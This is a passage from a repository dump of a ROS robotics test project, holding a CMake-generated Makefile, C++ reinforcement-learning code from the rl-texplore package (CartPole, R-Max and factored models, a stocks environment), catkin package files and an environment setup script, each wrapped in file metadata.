roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_py.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\ntrajectory_msgs_generate_messages_py: roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_py.dir/rule\n\n.PHONY : trajectory_msgs_generate_messages_py\n\n# fast build rule for target.\ntrajectory_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_py.dir/build.make roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_py.dir/build\n.PHONY : trajectory_msgs_generate_messages_py/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_eus.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\ngazebo_msgs_generate_messages_eus: roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_eus.dir/rule\n\n.PHONY : gazebo_msgs_generate_messages_eus\n\n# fast build rule for target.\ngazebo_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_eus.dir/build.make roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_eus.dir/build\n.PHONY : gazebo_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_lisp.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\ngazebo_msgs_generate_messages_lisp: roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : gazebo_msgs_generate_messages_lisp\n\n# fast build rule for target.\ngazebo_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_lisp.dir/build.make roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_lisp.dir/build\n.PHONY : gazebo_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_nodejs.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ngazebo_msgs_generate_messages_nodejs: roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : gazebo_msgs_generate_messages_nodejs\n\n# fast build rule for target.\ngazebo_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_nodejs.dir/build.make roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_nodejs.dir/build\n.PHONY : gazebo_msgs_generate_messages_nodejs/fast\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install/strip\"\n\t@echo \"... install/local\"\n\t@echo \"... list_install_components\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... edit_cache\"\n\t@echo \"... trajectory_msgs_generate_messages_nodejs\"\n\t@echo \"... trajectory_msgs_generate_messages_lisp\"\n\t@echo \"... gazebo_msgs_generate_messages_py\"\n\t@echo \"... trajectory_msgs_generate_messages_cpp\"\n\t@echo \"... dynamic_reconfigure_generate_messages_lisp\"\n\t@echo \"... std_srvs_generate_messages_py\"\n\t@echo \"... std_srvs_generate_messages_lisp\"\n\t@echo \"... test\"\n\t@echo \"... std_srvs_generate_messages_eus\"\n\t@echo \"... trajectory_msgs_generate_messages_eus\"\n\t@echo \"... gazebo_ros_gencfg\"\n\t@echo \"... dynamic_reconfigure_generate_messages_eus\"\n\t@echo \"... install\"\n\t@echo \"... std_srvs_generate_messages_cpp\"\n\t@echo \"... dynamic_reconfigure_generate_messages_cpp\"\n\t@echo \"... dynamic_reconfigure_generate_messages_nodejs\"\n\t@echo \"... dynamic_reconfigure_gencfg\"\n\t@echo \"... dynamic_reconfigure_generate_messages_py\"\n\t@echo \"... std_srvs_generate_messages_nodejs\"\n\t@echo \"... gazebo_msgs_generate_messages_cpp\"\n\t@echo \"... trajectory_msgs_generate_messages_py\"\n\t@echo \"... gazebo_msgs_generate_messages_eus\"\n\t@echo \"... gazebo_msgs_generate_messages_lisp\"\n\t@echo \"... gazebo_msgs_generate_messages_nodejs\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.6907716989517212, "alphanum_fraction": 0.6929304003715515, "avg_line_length": 20.799999237060547, "blob_id": "6ce1d05810c3f02dbcd88301c57181bfb7a29964", "content_id": "93ee463afae8e1078bd28d13de07b64d52ee1480", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1853, "license_type": "no_license", "max_line_length": 91, "num_lines": 85, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/CartPole.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file CartPole.hh\n Defines the Cart-Pole balancing domain, with possible noise.\n \\author Todd Hester\n*/\n\n#ifndef _CARTPOLE_H_\n#define _CARTPOLE_H_\n\n#include <set>\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n/** This class defines the Cart-Pole balancing domain. */\nclass CartPole: public Environment {\npublic:\n\n /** Creates a deterministic CartPole domain.\n \\param rand Random number generator used solely for random\n initial states. \n */\n CartPole(Random &rand);\n\n /** Creates a Cart-Pole domain, possibly with noise.\n \\param rand Random number generator\n \\param stochastic noisy transitions? \n */\n CartPole(Random &rand, bool stochastic);\n\n virtual ~CartPole();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n /** Calculate the new state and reward for the given force */\n float transition(float force);\n\n virtual bool terminal() const;\n virtual void reset();\n\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual void getMinMaxReward(float* minR, float* maxR);\n\n /** Set the state vector (for debug purposes) */\n void setSensation(std::vector<float> newS);\n\n virtual std::vector<experience> getSeedings();\n\n /** Get an experience for the given state-action */\n experience getExp(float s0, float s1, float s2, float s3, int a);\n \nprotected:\n enum car_action_t {LEFT, RIGHT};\n\nprivate:\n\n float GRAVITY;\n float MASSCART;\n float MASSPOLE;\n float TOTAL_MASS;\n float LENGTH;\n \n float POLEMASS_LENGTH;\n float FORCE_MAG;\n float TAU;\n \n float FOURTHIRDS;\n float DEG_T_RAD;\n float RAD_T_DEG;\n\n const bool noisy;\n Random &rng;\n\n std::vector<float> s;\n \n float &cartPos;\n float &cartVel;\n float &poleAngle;\n float &poleVel;\n\n float reward();\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7238317728042603, "alphanum_fraction": 0.7254672646522522, "avg_line_length": 34.96638488769531, "blob_id": "60f64263a842d0b0917c8c855d05deb554633e23", "content_id": "5e531cb236a5257837126028cbee49b949dd02cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4280, "license_type": "no_license", "max_line_length": 185, "num_lines": 119, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/FactoredModel.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file FactoredModel.hh\n Defines the FactoredModel class\n Please cite: Hester and Stone, \"Real Time Targeted Exploration in Large Domains\", ICDL 2010.\n \\author Todd Hester\n*/\n\n#ifndef _FACTOREDMODEL_HH_\n#define _FACTOREDMODEL_HH_\n\n#include \"../Models/C45Tree.hh\"\n#include \"../Models/M5Tree.hh\"\n#include \"../Models/LinearSplitsTree.hh\"\n#include \"../Models/Stump.hh\"\n#include \"../Models/MultipleClassifiers.hh\"\n#include \"../Models/SepPlanExplore.hh\"\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n\n\n/** Builds an mdp model consisting of a tree (or ensemble of trees) to predict each feature, reward, and termination probability. Thus forming a complete model of the MDP. */\nclass FactoredModel: public MDPModel {\npublic:\n\n /** Default constructor\n \\param id identify the model\n \\param numactions # of actions in the domain\n \\param M # of visits for a given state-action to be considered known\n \\param modelType identifies which type of model to use\n \\param predType identifies how to combine multiple models\n \\param nModels # of models to use for ensemble models (i.e. random forests)\n \\param treeThreshold determines the amount of error to be tolerated in the tree (prevents over-fitting with larger and larger trees)\n \\param featRange range of each feature in the domain\n \\param rRange range of reward values in domain\n \\param needConf do we need confidence measures?\n \\param dep assume dependent transitions between features (or indep)\n \\param relTrans model relative transitions of features (or absolute)\n \\param featPct pct of features to remove from set used for each tree split\n \\param stoch if the domain is stochastic or deterministic\n \\param episodic if the domain is episodic\n \\param rng Random Number Generator \n */\n FactoredModel(int id, int numactions, int M, int modelType, \n int predType, int nModels, float treeThreshold,\n const std::vector<float> &featRange, float rRange,\n bool needConf, bool dep, bool relTrans, float featPct, \n\t bool stoch, bool episodic, Random rng = Random());\n\n /** Copy Constructor for MDP Tree */\n FactoredModel(const FactoredModel &);\n\n virtual ~FactoredModel();\n\n virtual bool updateWithExperiences(std::vector<experience> &instances);\n virtual bool updateWithExperience(experience &e);\n\n /** Initialize the MDP model with the given # of state features */\n bool initMDPModel(int nfactors);\n virtual float getStateActionInfo(const std::vector<float> &state, int act, StateActionInfo* retval);\n virtual FactoredModel* getCopy();\n\n /** Method to get a single sample of the predicted next state for the given state-action, rather than the full distribution given by getStateActionInfo */\n float getSingleSAInfo(const std::vector<float> &state, int act, StateActionInfo* retval);\n\n /** Combines predictions for each separate state feature into probabilities of the overall state vector */\n void addFactorProb(float* probs, std::vector<float>* next, std::vector<float> x, StateActionInfo* retval, int index, std::vector< std::map<float,float> > predictions, float* confSum);\n\n /** Set some parameters of the subtrees */\n void setTreeParams(float margin, float forestPct, float minRatio);\n\n /** Helper function to add two vectors together */\n std::vector<float> addVec(const std::vector<float> &a, const std::vector<float> &b);\n\n /** Helper function to subtract two vectors */\n std::vector<float> subVec(const std::vector<float> &a, const std::vector<float> &b);\n \nprivate:\n \n /** Classifier to predict each feature */\n std::vector<Classifier*> outputModels;\n\n /** Classifier to predict reward */\n Classifier* rewardModel;\n\n /** Classifier to prediction termination probability */\n Classifier* terminalModel;\n\n int id;\n int nfactors;\n const int nact;\n const int M;\n const int modelType;\n const int predType;\n const int nModels;\n const int treeBuildType;\n const float treeThresh;\n\n const std::vector<float> featRange;\n const float rRange;\n\n const bool needConf;\n const bool dep;\n const bool relTrans;\n const float FEAT_PCT;\n const bool stoch;\n const bool episodic;\n Random rng;\n \n float EXP_PCT;\n\n bool MODEL_DEBUG;\n bool COPYDEBUG;\n\n};\n\n\n\n#endif\n" }, { "alpha_fraction": 0.6179324984550476, "alphanum_fraction": 0.6217840313911438, "avg_line_length": 26.388185501098633, "blob_id": "96ae44dc8a3f9ec544a1c988f3782a7fe54b00ec", "content_id": "d05c1eba14fb397d604b2586f10d2bb71ca4b36e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6491, "license_type": "no_license", "max_line_length": 106, "num_lines": 237, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/RMaxModel.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file RMaxModel.cc\n Implements the RMaxModel class.\n \\author Todd Hester\n*/\n\n#include \"RMaxModel.hh\"\n\n\n\n\nRMaxModel::RMaxModel(int m, int nact, Random rng):\n M(m), nact(nact), rng(rng)\n{\n\n nstates = 0;\n RMAX_DEBUG = false; //true;\n //initMDPModel(nfactors); \n}\n\nRMaxModel::RMaxModel(const RMaxModel &rm):\nM(rm.M), nact(rm.nact), rng(rm.rng)\n{\n\n nstates = rm.nstates;\n RMAX_DEBUG = rm.RMAX_DEBUG;\n\n statespace = rm.statespace;\n\n // copy info into map for each of these\n // because map is by address, must get correct address for each\n for (std::map<state_t, state_info>::const_iterator i = rm.statedata.begin();\n i != rm.statedata.end(); i++){\n\n state_t s = canonicalize(*((*i).first));\n statedata[s] = (*i).second;\n\n }\n\n}\n\nRMaxModel* RMaxModel::getCopy(){\n RMaxModel* copy = new RMaxModel(*this);\n return copy;\n}\n\nRMaxModel::~RMaxModel() {}\n\n\nbool RMaxModel::updateWithExperiences(std::vector<experience> &instances){\n\n bool changed = false;\n \n for (unsigned i = 0; i < instances.size(); i++){\n bool singleChange = updateWithExperience(instances[i]);\n changed = changed || singleChange;\n }\n return changed;\n}\n\n\n// update all the counts, check if model has changed\n// stop counting at M\nbool RMaxModel::updateWithExperience(experience &e){\n if (RMAX_DEBUG) cout << \"updateWithExperience \" << &(e.s) << \", \" << e.act \n << \", \" << &(e.next) << \", \" << e.reward << endl;\n\n // get state info for last state\n state_t l = canonicalize(e.s);\n state_info* info = &(statedata[l]);\n\n bool modelChanged = false;\n\n // stop at M\n //if (info->visits[e.act] == M)\n if (info->known[e.act])\n return false;\n\n // update visit count for action just executed\n info->visits[e.act]++;\n\n // update termination count\n if (e.terminal) info->terminations[e.act]++;\n\n // update reward sum for this action\n info->Rsum[e.act] += e.reward;\n\n // update transition count for outcome that occured\n std::vector<int> &transCounts = info->outCounts[e.next];\n\n // first, check that we have resized this counter\n checkTransitionCountSize(&transCounts);\n\n // only update state transition counts for non-terminal transitions\n if (!e.terminal){\n // then update transition count for this action/outcome\n transCounts[e.act]++;\n } \n\n // check if count becomes known \n if (!info->known[e.act] && info->visits[e.act] >= M){\n info->known[e.act] = true;\n modelChanged = true;\n }\n\n if (RMAX_DEBUG) cout << \"s\" << info->id << \" act: \" << e.act \n << \" transCounts[act] = \" << transCounts[e.act] \n << \" visits[act] = \" << info->visits[e.act] << endl;\n \n // anything that got past the 'return false' above is a change in conf or predictions\n return true; //modelChanged;\n\n}\n\n\n// calculate state info such as transition probs, known/unknown, reward prediction\nfloat RMaxModel::getStateActionInfo(const std::vector<float> &state, int act, StateActionInfo* retval){\n if (RMAX_DEBUG) cout << \"getStateActionInfo, \" << &state << \", \" << act << endl;\n\n\n retval->transitionProbs.clear();\n\n // get state-action info for this state\n state_t l = canonicalize(state);\n state_info* info = &(statedata[l]);\n\n \n // see if it has any visits (could still be unknown)\n if (info->visits[act] == 0){\n if (RMAX_DEBUG) cout << \"This outcome is unknown\" << endl;\n retval->reward = -0.001;\n\n // add to transition map\n retval->transitionProbs[state] = 1.0;\n retval->known = false;\n retval->termProb = 0.0;\n return 0;\n }\n \n \n // fill in transition probs\n for (std::map<std::vector<float>, std::vector<int> >::iterator it = info->outCounts.begin(); \n it != info->outCounts.end(); it++){\n\n // get key from iterator\n std::vector<float> next = (*it).first;\n int count = ((*it).second)[act];\n\n // add to transition map\n if (count > 0.0){\n retval->transitionProbs[next] = (float)count / (float)(info->visits[act] - info->terminations[act]);\n if (RMAX_DEBUG) cout << \"Outcome \" << &next << \" has prob \" << retval->transitionProbs[next]\n\t\t\t << \" from count of \" << count << \" on \" \n\t\t\t << info->visits[act] << \" visits.\" << endl;\n }\n }\n \n\n // add in avg rewrad\n retval->reward = (float)info->Rsum[act] / (float)info->visits[act];\n if (RMAX_DEBUG) cout << \"Avg Reward of \" << retval->reward << \" from reward sum of \" \n\t\t << info->Rsum[act] \n\t\t << \" on \" << info->visits[act] << \" visits.\" << endl;\n\n // termination probability\n retval->termProb = (float)info->terminations[act] / (float)info->visits[act];\n if (RMAX_DEBUG) cout << \"termProb: \" << retval->termProb << endl;\n if (retval->termProb < 0 || retval->termProb > 1){\n cout << \"Problem with termination probability: \" << retval->termProb << endl;\n }\n\n\n retval->known = info->known[act];\n // conf as a pct of float m (so 0.5 is exactly M)\n float conf = (float)info->visits[act]/ (2.0 * (float)M);\n\n return conf;\n\n}\n\n\n\n\n\nRMaxModel::state_t RMaxModel::canonicalize(const std::vector<float> &s) {\n if (RMAX_DEBUG) cout << \"canonicalize, s = \" << &s << endl;\n\n // get state_t for pointer if its in statespace\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s);\n state_t retval = &*result.first; // Dereference iterator then get pointer \n\n if (RMAX_DEBUG) cout << \" returns \" << retval << endl;\n\n // if not, init this new state\n if (result.second) { // s is new, so initialize Q(s,a) for all a\n initNewState(retval);\n }\n\n return retval; \n}\n\nvoid RMaxModel::initNewState(state_t s){\n if (RMAX_DEBUG) cout << \"initNewState(s = \" << s \n\t\t << \")\" << endl;\n \n // create state info and add to hash map\n state_info* info = &(statedata[s]);\n initStateInfo(info);\n\n}\n\n\n// init state info\nvoid RMaxModel::initStateInfo(state_info* info){\n if (RMAX_DEBUG) cout << \"initStateInfo()\";\n\n info->id = nstates++;\n if (RMAX_DEBUG) cout << \" id = \" << info->id << endl;\n\n // model data (q values, state-action counts, transition, etc)\n info->visits.resize(nact, 0);\n info->Rsum.resize(nact, 0);\n info->known.resize(nact, false);\n info->terminations.resize(nact, 0);\n\n}\n\n\nvoid RMaxModel::checkTransitionCountSize(std::vector<int>* transCounts){\n if (RMAX_DEBUG) cout << \"checkTransitionCountSize(transCounts) \" \n\t\t << \"size: \" << transCounts->size() << endl;\n\n // resize to numactions if not initialized for this outcome yet\n if (transCounts->size() == 0)\n transCounts->resize(nact, 0);\n\n}\n" }, { "alpha_fraction": 0.7881137132644653, "alphanum_fraction": 0.7932816743850708, "avg_line_length": 47.4375, "blob_id": "c4085ed04f7c5fc5456315414b25c63ebbcef847", "content_id": "cfef3dfd824b9134640b05cc88e35c389a9ea695", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 774, "license_type": "no_license", "max_line_length": 74, "num_lines": 16, "path": "/build/roundbot_control/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"roundbot_control\")\nset(roundbot_control_VERSION \"0.0.0\")\nset(roundbot_control_MAINTAINER \"micho <[email protected]>\")\nset(roundbot_control_PACKAGE_FORMAT \"1\")\nset(roundbot_control_BUILD_DEPENDS \"controller_interface\")\nset(roundbot_control_BUILD_EXPORT_DEPENDS \"controller_interface\" \"roscpp\")\nset(roundbot_control_BUILDTOOL_DEPENDS \"catkin\" \"roscpp\")\nset(roundbot_control_BUILDTOOL_EXPORT_DEPENDS )\nset(roundbot_control_EXEC_DEPENDS \"controller_interface\" \"roscpp\")\nset(roundbot_control_RUN_DEPENDS \"controller_interface\" \"roscpp\")\nset(roundbot_control_TEST_DEPENDS )\nset(roundbot_control_DOC_DEPENDS )\nset(roundbot_control_URL_WEBSITE \"\")\nset(roundbot_control_URL_BUGTRACKER \"\")\nset(roundbot_control_URL_REPOSITORY \"\")\nset(roundbot_control_DEPRECATED \"\")" }, { "alpha_fraction": 0.7630208134651184, "alphanum_fraction": 0.7708333134651184, "avg_line_length": 54, "blob_id": "48d1a3f6b4ed1166e33d4a97209921d2f3a64f21", "content_id": "5c8574684bc3ad9441d8300a1627fc86f76f8883", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 384, "license_type": "no_license", "max_line_length": 73, "num_lines": 7, "path": "/src/state_space_example/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"state_space_example\")\nset(state_space_example_MAINTAINER \"student <[email protected]>\")\nset(state_space_example_DEPRECATED \"\")\nset(state_space_example_VERSION \"0.0.0\")\nset(state_space_example_BUILD_DEPENDS \"roscpp\" \"tf\" \"visualization_msgs\")\nset(state_space_example_RUN_DEPENDS \"roscpp\" \"tf\" \"visualization_msgs\")\nset(state_space_example_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.5211640000343323, "alphanum_fraction": 0.529629647731781, "avg_line_length": 18.6875, "blob_id": "c75cc5357c1696d4a63cac010fda443fbdc422ee", "content_id": "f0badfbc2c8094ad659c731cbd21d725d381fe70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3780, "license_type": "no_license", "max_line_length": 79, "num_lines": 192, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/stocks.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_env/stocks.hh>\n\n\nStocks::Stocks(Random &rand, bool stochastic, int nsectors, int nstocks):\n nsectors(nsectors),\n nstocks(nstocks),\n noisy(stochastic),\n rng(rand),\n s(nsectors*nstocks + nsectors)\n{\n STOCK_DEBUG = false; //true;\n\n initStocks();\n reset();\n}\n\n\nStocks::Stocks(Random &rand, bool stochastic):\n nsectors(3),\n nstocks(2),\n noisy(stochastic),\n rng(rand),\n s(nsectors*nstocks + nsectors)\n{\n STOCK_DEBUG = false; //true;\n\n initStocks();\n reset();\n}\n\n\nStocks::~Stocks() {\n delete [] owners;\n for (int i = 0; i < nsectors; i++){\n delete [] rising[i];\n }\n delete [] rising;\n}\n\nconst std::vector<float> &Stocks::sensation() const { return s; }\n\nfloat Stocks::apply(int action) {\n\n // figure out ownership of stocks with this action\n if (action < nsectors){\n // flip that bit of sensation array\n s[owners[action]] = !s[owners[action]];\n }\n else if (action == nsectors){\n // do nothing\n }\n else {\n cout << \"Invalid action!\" << endl;\n }\n\n if (STOCK_DEBUG){\n cout << \"Action: \" << action << \" Ownership now: \";\n for (int i = 0; i < nsectors; i++){\n cout << s[owners[i]] << \", \";\n }\n cout << endl;\n }\n\n float r = reward();\n\n calcStockRising();\n\n return r;\n\n}\n\nvoid Stocks::calcStockRising() {\n\n // for each sector\n for (int i = 0; i < nsectors; i++){\n // get average of stocks\n float sum = 0;\n for (int j = 0; j < nstocks; j++){\n sum += s[rising[i][j]];\n }\n float riseProb = 0.1 + 0.8 * (sum / (float)nstocks);\n\n // set value for each stock\n for (int j = 0; j < nstocks; j++){\n if (noisy) {\n s[rising[i][j]] = rng.bernoulli(riseProb);\n } else {\n s[rising[i][j]] = (riseProb > 0.5);\n }\n }\n\n if (STOCK_DEBUG){\n cout << \"S\" << i << \" Prob: \" << riseProb << \" stocks now: \";\n for (int j = 0; j < nstocks; j++){\n cout << s[rising[i][j]] << \", \";\n }\n cout << endl;\n }\n\n }\n\n}\n\nfloat Stocks::reward() {\n\n float sum = 0.0;\n\n // for each sector\n for (int i = 0; i < nsectors; i++){\n // skip if we don't own it\n if (!s[owners[i]])\n continue;\n\n if (STOCK_DEBUG) cout << \"Own sector \" << i << \": \";\n\n\n // add 1 for each rising, sub 1 for each not\n for (int j = 0; j < nstocks; j++){\n if (s[rising[i][j]]){\n sum++;\n if (STOCK_DEBUG) cout << \"rising, \";\n } else {\n sum--;\n if (STOCK_DEBUG) cout << \"falling, \";\n }\n }\n\n if (STOCK_DEBUG) cout << endl;\n }\n\n if (STOCK_DEBUG)\n cout << \"Reward is \" << sum << endl;\n\n return sum;\n\n}\n\nbool Stocks::terminal() const {\n return false;\n}\n\nvoid Stocks::initStocks(){\n // set owners and rising variables\n owners = new int[nsectors];\n rising = new int*[nsectors];\n for (int i = 0; i < nsectors; i++){\n rising[i] = new int[nstocks];\n owners[i] = i;\n if (STOCK_DEBUG)\n cout << \"Owners[\" << i << \"] is \" << owners[i] << endl;\n for (int j = 0; j < nstocks; j++){\n rising[i][j] = nsectors + (i*nstocks) + j;\n if (STOCK_DEBUG)\n cout << \"Rising[\" << i << \"][\" << j << \"] is \" << rising[i][j] << endl;\n }\n }\n}\n\nvoid Stocks::reset() {\n\n // random values for each variable\n for (unsigned i = 0; i < s.size(); i++){\n s[i] = rng.uniformDiscrete(0,1);\n }\n}\n\n\nint Stocks::getNumActions() {\n return nsectors+1;\n}\n\nvoid Stocks::setSensation(std::vector<float> sIn){\n for (unsigned i = 0; i < s.size(); i++){\n s[i] = sIn[i];\n }\n}\n\n\nvoid Stocks::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n\n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), 1.0);\n\n}\n\nvoid Stocks::getMinMaxReward(float *minR,\n float *maxR){\n\n *minR = -(nsectors*nstocks);\n *maxR = (nsectors*nstocks);\n}\n" }, { "alpha_fraction": 0.74842768907547, "alphanum_fraction": 0.7547169923782349, "avg_line_length": 38.8125, "blob_id": "23fb2095d804446a816fcd243e04c6c2d9b9258b", "content_id": "d0991a771cccb8cebd8d331cc653fdee790873c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 636, "license_type": "no_license", "max_line_length": 52, "num_lines": 16, "path": "/build/mantis_model/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"mantis_model\")\nset(mantis_model_VERSION \"0.0.0\")\nset(mantis_model_MAINTAINER \"abc <[email protected]>\")\nset(mantis_model_PACKAGE_FORMAT \"1\")\nset(mantis_model_BUILD_DEPENDS \"roscpp\" \"tf\")\nset(mantis_model_BUILD_EXPORT_DEPENDS \"roscpp\" \"tf\")\nset(mantis_model_BUILDTOOL_DEPENDS \"catkin\")\nset(mantis_model_BUILDTOOL_EXPORT_DEPENDS )\nset(mantis_model_EXEC_DEPENDS \"roscpp\" \"tf\")\nset(mantis_model_RUN_DEPENDS \"roscpp\" \"tf\")\nset(mantis_model_TEST_DEPENDS )\nset(mantis_model_DOC_DEPENDS )\nset(mantis_model_URL_WEBSITE \"\")\nset(mantis_model_URL_BUGTRACKER \"\")\nset(mantis_model_URL_REPOSITORY \"\")\nset(mantis_model_DEPRECATED \"\")" }, { "alpha_fraction": 0.7963836193084717, "alphanum_fraction": 0.8042452931404114, "avg_line_length": 73.88235473632812, "blob_id": "8b8d7133e3269cfff55be05cbb6fa586d53ddd68", "content_id": "9861eed83234d81cf7cec85abb9074573955163e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1272, "license_type": "no_license", "max_line_length": 192, "num_lines": 17, "path": "/src/gmapping_example/catkin_generated/setup_cached.sh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#!/usr/bin/env sh\n# generated from catkin/python/catkin/environment_cache.py\n\n# based on a snapshot of the environment before and after calling the setup script\n# it emulates the modifications of the setup script without recurring computations\n\n# new environment variables\n\n# modified environment variables\nexport CMAKE_PREFIX_PATH=\"/home/jman/ros/src/ugv_course/gmapping_example/devel:$CMAKE_PREFIX_PATH\"\nexport CPATH=\"/home/jman/ros/src/ugv_course/gmapping_example/devel/include:$CPATH\"\nexport LD_LIBRARY_PATH=\"/home/jman/ros/src/ugv_course/gmapping_example/devel/lib:/home/jman/ros/src/ugv_course/gmapping_example/devel/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH\"\nexport PATH=\"/home/jman/ros/src/ugv_course/gmapping_example/devel/bin:$PATH\"\nexport PKG_CONFIG_PATH=\"/home/jman/ros/src/ugv_course/gmapping_example/devel/lib/pkgconfig:/home/jman/ros/src/ugv_course/gmapping_example/devel/lib/x86_64-linux-gnu/pkgconfig:$PKG_CONFIG_PATH\"\nexport PYTHONPATH=\"/home/jman/ros/src/ugv_course/gmapping_example/devel/lib/python2.7/dist-packages:$PYTHONPATH\"\nexport ROSLISP_PACKAGE_DIRECTORIES=\"/home/jman/ros/src/ugv_course/gmapping_example/devel/share/common-lisp:$ROSLISP_PACKAGE_DIRECTORIES\"\nexport ROS_PACKAGE_PATH=\"/home/jman/ros/src/ugv_course/gmapping_example:$ROS_PACKAGE_PATH\"" }, { "alpha_fraction": 0.6051876544952393, "alphanum_fraction": 0.6110495924949646, "avg_line_length": 26.971851348876953, "blob_id": "4d28e1fe68d102ff7df5a3952c6df8208299b07e", "content_id": "64c6a4db0ecb62eda0c53b02daaf261857cc3547", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 39748, "license_type": "no_license", "max_line_length": 201, "num_lines": 1421, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/ParallelETUCT.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file ParallelETUCT.cc\n Implements my real-time model-based RL architecture which uses UCT with eligiblity traces for planning.\n The modified version of UCT used is presented in:\n L. Kocsis and C. Szepesvยดari, \"Bandit based monte-carlo planning,\" in\n ECML-06. Number 4212 in LNCS. Springer, 2006, pp. 282-293.\n The real-time architecture is presented in:\n Hester, Quinlan, and Stone, \"A Real-Time Model-Based Reinforcement Learning Architecture for Robot Control\", arXiv 1105.1749, 2011.\n \\author Todd Hester\n*/\n\n#include \"ParallelETUCT.hh\"\n#include <algorithm>\n\n#include 